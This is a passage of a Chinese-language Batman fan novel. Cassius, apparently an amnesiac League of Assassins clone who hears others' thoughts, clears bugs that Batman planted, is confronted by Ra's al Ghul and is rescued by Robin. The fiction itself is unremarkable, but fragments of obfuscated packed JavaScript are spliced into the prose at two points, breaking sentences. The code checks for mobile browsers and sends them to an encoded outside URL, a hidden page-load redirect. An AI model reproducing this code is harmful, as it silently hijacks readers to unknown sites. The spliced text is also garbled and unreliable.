“据我们所知，你已经下班很久了，这段时间你去哪儿了？” 布洛克问道。 卡修斯有点不高兴：“警官先生，遭到入室抢劫的是我，为什么您还要像审问犯人一样审问我？” 布洛克从正在记录的笔记本上抬起头：“因为你没有合法的身份信息，这家店也是非法经营，这个理由充分吗？” 卡修斯无话可说。 看来拥有一个合法身份真的刻不容缓，希望尼尔能尽快帮我搞定吧。 “我送另一个酒吧同事去车站，他打算离开哥谭。” 你这个同事叫什么名字？ “尼克·霍顿。”卡修斯说。 “你在酒吧里帮助的那个女孩叫什么？” “卡洛琳·希尔。” 布洛克的笔在笔记本上短暂地停顿了一下，他在道上听说过这个名字，很神秘的一个妞儿，据说跟火柴·马龙关系匪浅。 “你是说面具帮的人非礼卡洛琳·希尔？”布洛克重复问了一遍。 卡修斯点了点头：“是的。” 布洛克撇了撇嘴，没在卡修斯面前发表意见，又问了几个问题后，收起手里的笔记本装进口袋，随后让开道，让卡修斯进屋。 “你小子挺走运，面具帮的人入室抢劫的时候，刚好蝙蝠侠在附近，他帮你解决了那些人。犯人已经被押送回警局，你看看自己 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吉姆和他最近在追查一起黑面具参与的走私案，但是目前案件陷入了瓶颈。布洛克怀疑今晚的事情和走私案有关，否则蝙蝠侠又怎么可能这么“巧”地阻止了这起入室抢劫？他已经安排了两个警察暗中盯着这里，一旦有什么风吹草动，他会第一时间知道。 这一次，他希望警局能先于蝙蝠侠解决这起案子，GCPD能亲手将黑面具再次送进监狱。 卡修斯走到窗边，顺着防火梯的位置向巷口望去，直到闪烁的红蓝色警灯光线消失，他才低头看了眼手中的名片，随手将它扔进了垃圾篓。 接着，他在一片狼藉的房间里站了一会儿，突然就有些后悔。 还是应该厚着脸皮请尼尔来自己的住处走一趟再离开的，有他在的话，至少可以清出这间屋子里所有的监视监听设备。 他可不觉得，蝙蝠侠只是“路过”自己的公寓，以他对蝙蝠侠的了解，自己这间屋子此刻绝对已经毫无隐私可言。 哈维·布洛克担心他丢了什么东西，但卡修斯知道，自己这儿只可能多出一些东西。 他自认为在今天遭遇包厢打斗事件之前，自己绝对没有任何可疑之处，怎么就引起了蝙蝠侠的注意，以至于到他家来踩点呢？ 卡修斯默默叹了口气，打算先自己动手，将整个屋子排查一遍。 这个店短时间内是不能再开张了，还好尼尔给他提供了一个新住处，这对本就不富裕的他来说，真的是雪中送炭。 希望三个月后，风波过去，自己还能继续在这儿开店吧。这里无论位置还是性价比，都让卡修斯相当满意。离开的话，很难再找到一个像这样的住处。 “都是蝙蝠侠的错！”卡修斯恨恨地抱怨了一句，然后就从房门开始，仔细排查可疑的小物件。 说完后，卡修斯僵硬了一瞬。糟糕，忘记了，如果蝙蝠侠此刻已经在监听他，那刚才那句坏话岂不是被他听到了？ 他闭了闭眼，开始思考补救措施。 “哎，谁让他是我滴偶像呢，当然是选择原谅他啦。” 他用跟刚才抱怨蝙蝠侠时差不多的音量又咕哝了一句。 并且暗暗祈祷蝙蝠侠听到了。 不过说完后，又觉得自己挺多此一举的。他现在已经确定卡洛琳·希尔绝对和蝙蝠侠关系匪浅。所以这会儿她说不定已经把“卡修斯·希尔是刺客联盟的人”这个情报告诉了蝙蝠侠。 这下相当于反向证明了，每一个被蝙蝠侠怀疑的人都有问题。 冤枉啊，蝙蝠大老爷！ 卡修斯长叹一声。 14.第 14 章 蝙蝠侠当然听到了卡修斯的自言自语，不过他对这句表演成分相当明显的台词不以为意。GCPD到达现场后，他和吉姆简单交代了两句，就驱车回了蝙蝠洞。 此刻，他正在洞里分析今天在卡修斯·希尔的住所那里拿到的所有生物信息和样本。听到监听音频里返回的声音后，他的表情没有任何变化。 倒是提姆忍不住笑了一声。 “说真的，事实上我觉得他不太像刺客联盟的人，有点过于活泼。” 他已经卸掉了卡洛琳·希尔的伪装，也没有穿罗宾制服，而是身着便服地坐在属于自己的电脑前写今天的工作日志。 “如果我没记错的话，上午您所在的班级有两场考试。” 已经摘下头套，但还穿着蝙蝠装的布鲁斯从电脑屏幕前侧过头看向提姆：“去休息吧。” “可卡修斯……” 还没说完，布鲁斯就打断了他：“先去睡觉，在回来的路上你已经对他的身份做过说明了，行动日志可以晚些时候再给我，你的任务完成得非常好。” 提姆知道，布鲁斯的意思是让他停止监视卡修斯。但他身上还有许多疑点，提姆并不想就这样半途而废。 看出提姆想要反驳自己，布鲁斯直接说：“他是拉尔斯身边的人，很危险，你不需要再关注他了。” 提姆惊讶地看向布鲁斯。他在回蝙蝠洞的路上汇报时，只说了卡修斯使用的是刺客联盟的招式，但并没有把看到鹰首纹章的事告诉蝙蝠侠，因为他觉得关于卡修斯的身份问题还有疑点，想要多方面地验证，并不想这么草率地下结论。 布鲁斯一看提姆的表情，就知道他一定早就知道了这点，只是出于某种原因，他隐瞒了这部分内容没有汇报。 “我曾受训于刺客联盟，我熟悉他们的打斗方式。你说今天在那里，动手的只有你和卡修斯·希尔。”布鲁斯的声音很平稳，“拉尔斯曾经亲自训练过我，我对他的战斗风格非常熟悉。从现场伤者留下的痕迹来看，卡修斯同样得到拉尔斯亲授。他根本没有想隐瞒自己的身份。” 可能是提姆自己对隐瞒消息感到心虚，这会儿他觉得布鲁斯连解释都像是在委婉地质疑他，为什么要隐瞒这么重要的信息。 “但他并没有杀死任何一个人，这不符合刺客联盟的作风。” 提姆也不知道自己为什么要替他辩解。可能就是单纯不想相信，那个在包房里真心实意担心一个陌生女孩的人会是刺客联盟的杀手。 还有，当卡修斯否认自己是刺客联盟的人时，脸上无法掩饰的错愕和一闪而过的恐惧。 “提姆，不要感情用事。”布鲁斯提醒道。 “好吧，你说了算。”提姆耸了耸肩，放弃似的转身走向楼梯，很快消失在了庄园与洞穴连接的那扇门之后。 布鲁斯目送提姆离开，才重新将视线转回电脑屏幕上。 蝙蝠洞里一时间只有各种仪器运转的嗡嗡声。过了一会儿，布鲁斯略显刻意地清了清嗓子，像是故意要引起自己管家的注意。 “布鲁斯老爷，您嗓子不舒服吗？需要我为您奉上一杯感冒冲剂？”阿尔弗雷德故意道。 “行了吧，阿尔弗。”布鲁斯无奈地叹息。 “既然不是感冒，那您有什么需要呢？”阿尔弗依旧温文有礼。 “你有没有觉得，提姆被说服得太轻松了？”布鲁斯问。 “这难道不是您希望的吗？”阿尔弗雷德保持微笑。 布鲁斯连人带椅子推离控制台一些距离，转过椅子，微微仰头看向管家：“但我们都知道，他从不会轻易放弃自己的坚持。” 提姆看上去温和，顺从，事实上他相当固执，一旦认定某件事，不达成目标绝不会轻易放弃。而且他聪明，敏锐，在想法受挫或不被支持的时候，更懂得用迂回和以退为进的方式达成目标。从某种程度上来说，提姆比曾经的任何一任罗宾都更执着，这也正是布鲁斯担心的地方。 “为什么不说话？”布鲁斯问。 阿尔弗耸了耸肩：“我以为，您和我说这些，也并不是需要我的意见不是吗？” “你什么时候把自己定位成了树洞。”布鲁斯不满地哼哼。 “善解人意是我的专业素养之一。”阿尔弗一本正经的说。 几句调侃，让布鲁斯心里挥之不去的沉重感稍微放松了些。他用力抹了一把脸，才说：“是我的疏忽，如果我提早发现卡修斯·希尔是刺客联盟的人，一定不会让提姆去监视他。” 刺客联盟这对罗宾来说太危险。 另外，如果卡修斯真的是拉斯的心腹刺客，那么他知道哥谭每一个义警的身份也很好理解，肯定是拉尔斯告诉他的。 “他下手确实不轻。” 像是为了安慰布鲁斯，阿尔弗看着那位被袖剑刺穿颈部，还躺在ICU的暴徒的监控视频说。 布鲁斯以为被认同了，刚想继续说话，管家紧接着继续道：“不过这么多年以来，被蝙蝠侠送进ICU的人好像也不少。” 布鲁斯：…… “我们刚查出黑面具的这次交易疑似有刺客联盟的介入，卡修斯·希尔就被送到眼前，这难道是巧合吗？” 布鲁斯据理力争。 “在酒吧包厢的时候，卡修斯始终没有对我带走的U盘和样本针剂产生过任何好奇心，他似乎完全不关注这些。” 蝙蝠洞的通讯里传来提姆的声音。 “提姆，停止监听蝙蝠洞，去睡觉！” 布鲁斯提高音量。 “好的，好的，我只是想补充说明一下而已。顺便一提，我觉得卡修斯·希尔可能失忆了，他很可能不知道自己曾经是刺客联盟的人。” 提姆在布鲁斯单方面掐断蝙蝠洞通讯之前，快速说完自己的猜测。 “去睡觉！” 布鲁斯毫不犹豫地关掉了提姆的监听线路。随后，他再次和阿尔弗雷德四目相对。 “提姆少爷的猜测也不是毫无根据。”阿尔弗雷德说。 布鲁斯缓缓呼出一口气：“我会尽快想办法证实这一点。” 说罢，他再次进入工作状态，将椅子拉近控制台，点开其中一个文件，屏幕上立刻展示出一连串的化学式。他又在键盘上快速敲击一阵，一串DNA链在屏幕上缓慢转动，其中的一些分子同时在更缓慢地变化。 “这是提姆带回来的针剂样本，类固醇混合神经元刺激剂，拉萨路池水，还有一些未知的化学结构，它们在……分裂和重组。” “这不是D品。”阿尔弗雷德皱眉道。 蝙蝠侠的指腹擦过屏幕：“嗯，他们很可能在做人体实验。” 阿尔弗雷德的表情渐渐变得严肃起来。 “刺客联盟参与的案子，绝不会是简单的走私案。卡修斯·希尔这个时候被发现，就算不是巧合，也必须被重视。” 结合他莫名其妙能听到卡修斯·希尔的心声这种异常，布鲁斯认为，即便他不是这起案件的直接参与者，也有可能是刺客联盟的实验样本。 “我会去找吉姆，请他彻底调查近期潜在的人口失踪——如果他们真的在哥谭做人体实验的话。”他接着说。 阿尔弗雷德点了点头，这确实很有必要。 布鲁斯已经在整理和关闭文件，阿尔弗协助他完成了蝙蝠洞例行的设备检查，随后两人一起上楼。 “您今晚不是还去了‘命运纺车’？有什么发现？”管家问。 他了解布鲁斯，如果发现了对方任何决定性的罪证，他一定不会只是在卡修斯·希尔的住处布控那么简单。 “唔……” 布鲁斯沉吟片刻。 他确实没在“命运纺车”里发现任何和刺客联盟有关的证据。这也是他没有第一时间察觉卡修斯身份的重要原因。 他的住处相当简单，一室户的房间被他用书架隔成两段，前面是他工作，也就是帮别人占卜的地方，后面是他平时生活起居的地方。布鲁斯第一时间将他电脑中所有的文件都进行了拷贝，包括他的网站“命运纺车”的全部数据。 在等待拷贝的时候，布鲁斯快速扫过“命运纺车”建站以来的发布记录以及和用户互动，并且眼尖的在许多老粉丝里发现了一位名叫“大都会普通市民CK”的网友。 他都没费心去查IP，从这位网友的多次留言内容和语言风格就确定了对方并不普通的超人身份。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15230026|165261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “命运纺车”发布的玄学内容虽然不收费，但这位单纯的氪星人对其发布的“运势预测”十分推崇，并且多次提出希望博主开通打赏渠道——他不好意思白嫖，想要给网站打钱。 布鲁斯拿出联盟通讯器，找出一个《警惕网络诈骗，大都会七旬老人主动钻入哥谭杀猪盘》的帖子，发给了大都会普通市民克拉克·肯特。 刚加完班准备睡觉的克拉克听到通讯器提示音，以为有什么紧急情况，半秒换好制服，点开消息一看，五秒后才一脸茫然的发消息问：B？这是什么新案件？谁被骗了？严重到需要正联干预？ 然后他又收到一封文件，打开一看，是上个月的战损清单。并且附上一句话：“钱多的话下个月我会把你的报社薪水直接划进正义联盟账户。” 克拉克：……大半夜的为什么恐吓我？ 恐吓完自己的战友，蝙蝠侠又检查了房间里的书架，上面大部分是和计算机相关的书，以及……一些和玄学相关的书，其中那本《从零开始，教你玩转神秘学》已经被翻得很旧，上面还密密麻麻做了很多笔记，看得出，这本书的主人在研究玄学方面是相当努力。 他还从对方床底发现一个铁箱，没费什么功夫就将其打开，里面按照面额整齐地码放着一些美金。在大致浏览卡修斯的桌面文件时，蝙蝠侠看到过一个Excel表格，里面是一些收支记录。结合这盒现金来看，卡修斯是在有计划地存钱。 从他初步的勘察来看，卡修斯·希尔的生活习惯和兴趣爱好都非常普通，没有任何可疑之处。 他在铁盒上提取了卡修斯的指纹，又在卫生间收集了一些毛发等生物信息，并在他的房间里留下了足够的监控监听设备，并且在离开时，顺手帮他处理掉了企图入室行凶的面具帮。 他已经将采集到的生物信息通过蝙蝠电脑的数据库进行对比，不过他对结果并不乐观，查不到卡修斯的身份信息才是最有可能的情况。 等躺在床上时，他的手机提示他，安装在“命运纺车”的监听设备已经被拆掉一半。 布鲁斯看了下完好无损的监听设备的位置，对卡修斯的能力有了新的评估。 被拉尔斯训练出来的顶级刺客不会如此大意，留下一半的窃听设备未被发现。 明天白天，他要找个机会，以火柴·马龙的名义去“命运纺车”占卜一次。 卡修斯看着被他从房间的各个角落搜罗出来的近10个窃听器，终于对蝙蝠侠的控制欲有了直观的认识。 他是什么不得了的大反派吗？不到50平的空间里居然给他装了这么多监控。 唯一值得欣慰的是，他在卫生间没发现监控。但是，没发现不代表没有。短时间之内，他连上厕所都有点提心吊胆。 卡修斯抬眼看了下时间，已经是新的一天了。 昨天过得的确惊心动魄，事业两颗星真是高估了自己，尤其是代表着五星的爱情。 呸。 一点都不准。 勇敢追随自己的内心并没有让他收获爱情，反而让他收获了一大堆麻烦。 窗外扫过一阵黄光，卡修斯知道，那是GCPD的飞艇探照灯恰好扫过这扇窗。 他打开窗，从防火梯的位置探头望出去，飞艇下的探照灯犹如巨兽的独眼，它沉默地从城市头顶飞过。 卡修斯回头望了一眼家里地上只简单打扫过一遍的狼藉，越发觉得那只巨兽看似可怖，却对邪恶没有丝毫威慑力。 昨天的综合运势是三颗星。 在哥谭，或许能活着看到第二天的月亮，就能算得上是三星好运了。 卡修斯从未如此迫切地希望离开哥谭。 希望尼尔能尽快帮他解决身份信息问题。 卡修斯轻轻摸了摸自己没有卸下的袖剑，过了一会儿，觉得不放心，又翻身下床，将床底盒子里的现金全部取出来装进腰包，又将腰包挂在身上，最后合衣躺在了床上。 在入睡之前，他在想的是，自己到底为什么会听到山猫和尼尔·卡夫瑞的心声，以及蝙蝠侠又为什么会注意到平平无奇的他？ 他努力回想每一个和蝙蝠侠碰面的细节，忽然猛地从床上坐了起来。 15.第 15 章 卡修斯想起昨天凌晨，“偶遇”战损蝙蝠侠前，自己抽了当天的主运牌，隐士，但是逆位。 当时他并没有在意，虽然在这个世界他选择利用玄学赚钱谋生，但这也只是一份职业而已。他骨子里还是个坚定的唯物主义论者，“相信科学”这四个字在他的身体里刻了二十多年。就算是遇到了科学无法解释的穿越，也很难一朝一夕改变科学看待事物的底层逻辑。 不过，就像他说的，穿越到一个现实中不存在的世界这种事都发生在他身上了，或许他就真的是那个天选之子……不是，天选神棍呢？要不然为什么他的占卜店生意这么好，占卜网站也人气超高？ 现在看来，好像一切都有预兆。逆位隐士，代表的是愚蠢的窥探者。 是不是那个时候，蝙蝠侠就已经发现他在暗中观察？ 别问蝙蝠侠是怎么做到的，问就是Because he is Batman。 卡修斯忍不住“啧”了一声。现在去滑跪认错还来得及吗？ 可能来不及了，以蝙蝠侠的性格，“卡修斯·希尔”绝对已经成了蝙蝠电脑里的一张表。 再次祈祷尼尔能快点搞定他身份的合法文件，他现在真的需要尽快换个城市重新开始。 他原本的计划是，存够钱就去大都会，那里是超人的地盘，理论上比哥谭安全。 但尼尔的出现让他改变了原本的想法。 虽然大都会的城市治安很好，但住在那儿就跟坐飞机似的，虽然飞机是最安全的出行方式，可一旦出事故，那必然就是无人生还。 在DC编剧的笔下，大都会要么不出事，一出事，就是整个城市被献祭的大场面。 以前没有别的选择时，卡修斯刻意不去想这个，认为自己应该不会这么倒霉，被投放到一个超人会变色的宇宙。所以，不考虑极端情况的话，住在一个有氪星人保护的城市是最好的选择，但现在，他发现自己还有其他选择。 他可以去纽约！他已经查过了，这个世界没有钢铁侠和美国队长，所以应该不会有一大波外星侵略者从天而降这种惨剧发生。这么看来，只要不靠近和DC有关的城市，也许就不会遭遇那种特别离谱的危险！ 做好决定后，他整个人都放松下来，困意袭来，他安心地闭上眼。 明天的太阳会照常升起，等尼尔办妥了他的合法身份材料，他就第一时间离开哥谭。 这一觉卡修斯睡的不算安稳，他好像又梦到了飞机失事的那一天。 飞机在风暴中剧烈颠簸，巨大的恐慌席卷了整个客舱。有人在哭泣，有人捂着嘴压抑地尖叫。座椅上方的氧气面罩掉了下来，可还没等大家戴上，只听一声巨响，飞机猛地失去了平衡。行李架门在颠簸中打开，里面的行李顿时砸了下来，但所有人都来不及躲闪，机身就咔啦咔啦地发出巨响。 卡修斯只觉得自己在快速下坠，他死前在想什么？ 他在想，我不想死。 卡修斯猛地从床上坐了起来。 他的额头上都是薄汗，喘息声在静谧的房间里格外清晰。 他作为房间隔断的书架并没有彻底将空间隔成两半，那里留了两人宽的距离供卡修斯进出，他在书架和墙壁之间挂了一副帘子来阻断视线。此刻，通过门帘的缝隙，卡修斯看到自己的窗前站了一位不速之客。 他的身体在他的脑子还没反应过来的时候就动了，袖剑从卡扣中弹出，半个呼吸内，他就欺近了背对着他的那个影子。 但有更快的东西阻止了他，一道黑影欺身而下，在他即将刺到那个身影的时候，袖剑发出“叮”的金属碰撞声，袭击他的黑影带着武器，他被震的手腕发麻，堪堪倒退了两步，他在后退的途中调整姿势，打算再攻，那个背影忽然动了。 背影突然转身，卡修斯只觉得眼前一花，接着胸口一阵闷痛，整个人就飞了出去，重重撞在了书架上。 摆满书的沉重实木书架应声而到，卡修斯觉得这一撞差点把内脏都撞吐了出来。 那枚黑影再次欺身上前，这一次，卡修斯看清了对方手上的刀，它是冲着自己脖子来的，但刚被踹翻在地的卡修斯已经来不及躲了，他下意识地闭上了眼。 “退下。” 刚才踹飞他的那个身影开口了。 预想中的死亡没有到来，卡修斯睁开眼，看到一把距离自己皮肤半寸的武士刀，以及一个全身黑衣，只有一双眼裸露在外的忍者。不知为什么，他居然觉得那双眼睛莫名熟悉。 不过也只有一眼，那忍者收了刀，走到窗边那人身边，向他行了个半跪礼后，站起来退到了他身后。 “我的孩子，你还好吗？” 窗边的人漫不经心的开口问道。 卡修斯心底猛地一沉。 一种细密的悚然感顺着空气的震动传入他的耳朵，又通过耳蜗，传递向每一根血管。 他抬眼看过去，那人梳着背头，但双鬓斑白，脸上横生的沟壑暗示着他不小的年纪。 此刻卡修斯抚着胸口跪坐在地上还没爬起来。那一脚踹的他视线都有些模糊了，实在不像是脸上长这么多皱纹的老年人能用出来的力气。 可即便此刻两人的高度差距如此明显，对方看他的时候，也还是微微仰着头，只垂下眼睑睨视着他。这是一个典型的上位者和独裁者的眼神。 他穿着一身古典黑色西装，但西装之外披着一件祖母绿的大氅，前襟被金色的扣链固定，让站在面前这位老者有种阴沉的威严。 忽然，卡修斯的脑海里传来一个声音，这跟面前的人的嗓音一模一样。 「果然是残次品吗？」 一种来自这具身体本身的恐惧从脚底蔓延，卡修斯顺从本能的低下头不再看对方，然后学着那名黑衣忍者刚才的样子，单膝下跪，垂下头，低声回：“主人（Master）” 卡修斯有一瞬间的困惑，他这是又听到了这个人的心声？他不确定这个“残次品”说的是谁，但可以肯定的是，这个看似平淡的词里，蕴含着的意义——那就是失败品没有活着的资格。 就像杀戮是铭刻在这具身体里的本能那样，对面前这个人的惧怕和服从似乎也是本能，在求生欲的驱使下，卡修斯再一次让本能接管了自己的理智。 他顺从地跪下，顺从的低头，让自己做出最恭顺的姿态。 「样本应该已经到了侦探的手里，继续让他留在这儿已经没有意义。」 卡修斯的脑海里再次响起声音，但他不敢抬头，也不敢展露出任何异样。 男人已经步履轻盈地走了过来，站定在他面前，卡修斯垂着头，只能看到停在自己面前的黑色皮靴。 男人微微抬起小臂，克修斯忍不住闭上眼，他感觉到一双手正缓缓抚摸上自己不知是因为先前的噩梦还是此刻的恐惧而变得潮湿的发根。 “孩子，自由的感觉怎么样？你离家太久，该归巢了。” 「真奇怪，刺客联盟的鬼魂，竟然也会想自由？」 卡修斯听到对方的心里这样说。细细密密的鸡皮疙瘩从他的后脖颈一直蔓延到全身。 他是恶魔之首，拉尔斯·奥·古。蝙蝠侠最棘手的敌人之一，不死的恶魔。 看漫画的时候，这个人再强大，也只不过是纸上的油墨，但现在，这个世界里最危险的恐怖分子就站在自己面前，让这个恶魔的强大和恐怖都化作了实体。 他此刻由衷的希望昨天自己没有清掉所有留在自己房子里的监听设备，蝙蝠侠能及时知道自己这儿的状况，好让这位恶魔之首能够尽快接受天降正义的制裁。 他现在真的很需要被蝙蝠侠救一下。 正想着，拉尔斯已经摊开原本蜷起的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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「那你又是怎么引起蝙蝠侠的注意的呢？」 这个问题卡修斯也很想知道。 「那就需要我来帮你演一场戏了。」 还没等卡修斯明白他是什么意思，一直半跪在拉斯脚边的忍着忽然动了。 几乎是眨眼的功夫，忍者就近身了卡修斯，将短刀送进了卡修斯的身体，要不是他的本能感知到危险，瞬间躲开了要害，这一刀绝对会刺穿他的肾脏而不是指划破衣物和皮肉。 忍者的体术相当高超，卡修斯必须集中全部心神才能对付他，因此只能断断续续听到拉斯心中的想法，可正是因为他听到的，几次扰乱他的心神，让他身上多出几个本不该有的伤口。 他听到拉斯说，自己原本来到哥谭，是为了暗中监视面具帮和俄罗斯人的交易顺利完成的。只是自己刚到哥谭，就和刺客联盟失联，拉尔斯一度以为他已经暴露，被蝙蝠侠控制或者死了，直到在Misty再次发现他的踪迹。 黑衣忍者的动作越来越快，下手也越来越致命，但站在一边的拉尔斯神情冷漠，根本没有阻止对方下杀手的意图。 「如果他连自己的复制品都打不过，那也没有活下去的必要。」 卡修斯的心脏剧烈的跳动，谁？什么“复制品”？他自己吗？ 忍者举起刀，再次瞄准了他的脖颈，卡修斯仰面反向弯腰，在对方反手将刀刃再次送到他脖子上之前，他抬起手臂，以自己都想不到的速度将袖剑的剑尖送进了黑衣忍者的喉咙。 按照这具身体的经验，卡修斯觉得自己本应该听到金属刺穿人类皮肤，扎穿血管，埋入血肉之躯的细微响声。 “哗啦——” “铛——” 黑色的战术靴一脚踏破了拉尔斯身后的窗，恶魔之首扬起大氅，挡下了大部分扎向他的碎裂玻璃。 金属相接的清脆响声和窗玻璃的碎裂声几乎同时响起。 16.第 16 章 忍者的刀刃被一根长棍抵挡，堪堪停在了距离卡修斯脖颈五公分的地方，但卡修斯的袖剑已经刺进对方脖颈半分。 金属和皮肤接触的边缘缓缓落下血迹，刀尖突兀地停在了那里。 一只臂甲横在了他的袖剑和黑衣忍者之间。卡修斯的袖剑底部卡在臂甲泛着冷光的臂刃上。 空气仿佛被按下了暂停键。 卡修斯微仰着头，惊讶的看着来人。 他有一头黑色的短发，上半张脸被黑色的多米诺面具遮住，眼部位置也被白色的光学护目镜遮盖，他的制服是红黑色的，黑色的披风随着他破窗的动作卷起了几片碎玻璃碴。 “哦？蝙蝠的小鸟离巢了？” 拉尔斯抬手挡住了黑衣忍者准备再次进攻的步调，忍者恭敬地退到拉尔斯身后，但身体始终保持随时进攻的姿态。 黑衣忍者脖颈上被卡修斯的袖剑刺破的位置正淌着血，可他浑然不在意，像是感觉不到自己在流血似的。鲜血淌过他的衣服，和布料的黑色融为一体，完全看不出血迹。 罗宾用长棍挡在卡修斯面前，强行卡着他退开几步，和拉尔斯拉开距离。 卡修斯的脑子轰隆隆的，此刻才后知后觉地反应过来，刚才要不是罗宾出现，那个黑衣忍者大概已经被自己杀死。 他屏住呼吸，看向对方脖颈处暴露出来的还带着血迹的皮肤，心里有种奇怪的，劫后余生的感觉。 「真可惜啊。」 卡修斯听到拉尔斯心里这样感慨。 不知道他在遗憾什么，难道是在为自己的手下没被杀死感到遗憾吗？ “做的不错，看来我教你的东西还没有全部忘光。” 拉尔斯夸赞道。 卡修斯没说话，他根本听不懂拉尔斯在说什么。即使他听到了拉尔斯的心声，也搞不懂他在想些什么。 他走神地微微侧头，盯着身边的年轻义警，忍不住想，如果刚才罗宾没有出现，那么自己现在会怎么样，他真的能轻易接受亲手杀死一个活人这种事吗？ 可是刚才那种情况下，根本容不得他手软。 不，不对，拉斯说他是复制品，所以他不算…… 卡修斯又将视线投向对面那个忍者，他想要去掀开忍者的面巾，想要看清楚他到底长什么样子。他忍不住上前半步，可又被横在胸前的长棍阻止。 “怎么了，你在害怕？” 「杀戮本该是他刻进骨血的本能，是实验改造让他产生了不必要的感情吗？」 拉尔斯无视了罗宾，看着卡修斯问道。 卡修斯没说话，他的余光看到拉尔斯将原本始终隐在大氅下的手挪到腰间的剑柄上。 “从未。” 卡修斯冷静的说。 “而你，是来帮我的？”拉尔斯将脸微小地转了个角度，对着罗宾戏谑道。 卡修斯知道，拉尔斯凭借他丰富的杀人经验，一定早就看出来，刚才如果不是罗宾，他带来的忍者已经被卡修斯杀死。 “没有人能在哥谭肆意杀戮。” 罗宾冷冷地回答。 “过来，我的孩子。” 拉尔斯重新将目光转向卡修斯，对着他说。 卡修斯没有动。 “你是我最信任的弟子，所以你一时误入歧途，我也可以原谅。再说一遍，到我身边来。” “不。”卡修斯轻声说。 恶魔笑了一下。 “你知道，在我这里，背叛意味着什么。” 意味着死亡。 卡修斯绑着袖剑的那只手臂的手指不受控制的微微抽搐一下。 “看来你是真的不喜欢这里的任务。既然如此，不如跟我回去？” 拉尔斯的语气像是劝诫叛逆晚辈的普通长者那样。 「回到基地，重回实验室，也算是为我尽忠。」 “不。” 卡修斯再次拒绝。 拉斯眯了眯眼。 「有趣，武器居然也学会了拒绝。」 拉斯没说话，但卡修斯听到了他的心声，恶魔不需要有主见的武器，他对自己的杀心始终没有放下过。 可卡修斯不想死，更不想接受一个刺客的命运。 刺客联盟可真不是什么有前途的企业，工作内容危险不说，老板也是个阴暗批，一言不合就是真·要你的命。 「有趣，是蝙蝠侠的鸟儿给了他忤逆我的勇气吗？他们什么时候认识的？」 “你觉得他能在我面前保全你？” 拉尔斯笑问。 可他说的没错，对卡修斯来说，罗宾的存在确实给了他面对恶魔之首的勇气。 罗宾都出现了，蝙蝠侠还会远吗？他强迫自己不要害怕。活着固然重要，但受制于人的活着，还不如放手一搏，也算死得其所。 他们都是纸片人，有什么好怕的？卡修斯安慰自己。 他的视线扫过站在拉尔斯身边，随时准备攻向他们的黑衣忍者，松了口气的同时又有些担心。 如果刚才自己真的把他给杀了，那么在蝙蝠侠心里，他大概永远都洗不白了。 他不希望自己崇拜的英雄用看杀人犯的眼神来看自己。 拉斯松开前襟的金属链扣，将绿色的大氅甩到了一边，又从腰间悬挂的刀鞘中缓缓抽出了自己的坎贾尔短刀。 他抽刀的动作像是一个信号，黑衣忍者也动了。四人瞬间冲向对方，打在了一起。刀刃和长棍相接，火花伴着金属碰撞声而出。 虽然罗宾的体术也很卓越，但依然不敌活了几百年的拉尔斯。十几个回合后，罗宾的长棍从侧面扫过，拉尔斯侧身躲过，顺势一个回旋踢，一下踢中他的侧腹，罗宾闷哼一声，后退两三步，来不及缓口气，坎贾尔短刀的刀刃就冲着他的头顶竖劈下来。 罗宾立即扔出三枚蝙蝠镖，拉尔斯偏转刀身，以极快的速度打落了飞镖，但他的刀和攻势已经不适合再对罗宾进行致命一击。 他顺着刀势砍下，罗宾后撤，但还是划破了腰侧制服。 “杀了罗宾。” 拉尔斯对正在和卡修斯对战的忍着说。 黑衣忍者毫不犹豫的挡开卡修斯的袖剑，硬生生吃下他一记重踢，侧身冲向罗宾。卡修斯确定刚才自己的那一脚至少踢断了对方两根肋骨。 拉尔斯也调整姿势，再次朝罗宾攻了过去。 「侦探还不来吗？看来不需要复杂的谋略，今天就可以再给我心爱的弟子又一记重创。」 黑衣忍者扬起长刀，也朝罗宾攻了过去，他和拉尔斯一前一后，堵住了罗宾。 拉尔斯的刀尖瞄准了罗宾的心脏，只要忍者能封住罗宾所有的退路，那他今天就必死无疑。 可就在短刀刺穿罗宾身体的瞬间，拉尔斯腹部突然受力，被一脚踢的倒退几步。 这是拉尔斯完全没预料到 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卡修斯在之前与黑衣忍者的打斗中已经受了许多伤，同时也消耗了不少力气，此刻即便和罗宾联手，持续地失血以及身体本能对攻击拉尔斯的抗拒，都让他感觉到力量难以为继。 在拉尔斯和忍者再次冲向两人时，罗宾跳上窗台，向窗外的楼顶射出抓钩枪，然后转身向卡修斯伸出他的手。 “来。” 忍者疾速袭来，罗宾再次扔出几枚蝙蝠镖。 “看来你是真的想死。” 拉尔斯站在原地不动，他盯着卡修斯说道。 「一个实验品，没有药物的维系，他能活多久？」 他听到拉尔斯心里这样淡淡地嘲讽。 卡修斯忍不住看向拉尔斯，他正戏谑地看着自己，就像笃定自己一定会作出“正确的”选择。 “抓住我的手。”戴着多米诺面具的年轻人再次出声。 不知道为什么，卡修斯忽然想到昨晚，卡洛琳·希尔在酒吧包房的通风口处，也曾向他伸出过手，和此刻罗宾的动作何其相似。 只是这一次，他不会再拒绝。 卡修斯两步跨向窗前，迎着在哥谭晨曦中逆光看向他的目光，将手递给了罗宾。 当他的手接触到罗宾的黑色战术手套的瞬间，对方小臂用力，又在跳出去的同时，将卡修斯拉进怀里，再用手臂揽住了他。 “抓好了。” 罗宾说。 卡修斯下意识地环住罗宾，他这才后知后觉地感觉到，这身红黑制服下，是一具比他更年轻的身体。 两人跳出窗口，顺着抓钩枪收束的力量，升到楼顶。 拉尔斯走到窗前，望了一眼他们离开的残影。 「CS-02，你到底是残次品还是会给我带来惊喜，就让我们拭目以待吧。」 他最后听到拉尔斯的心里这样说。 “算了。” 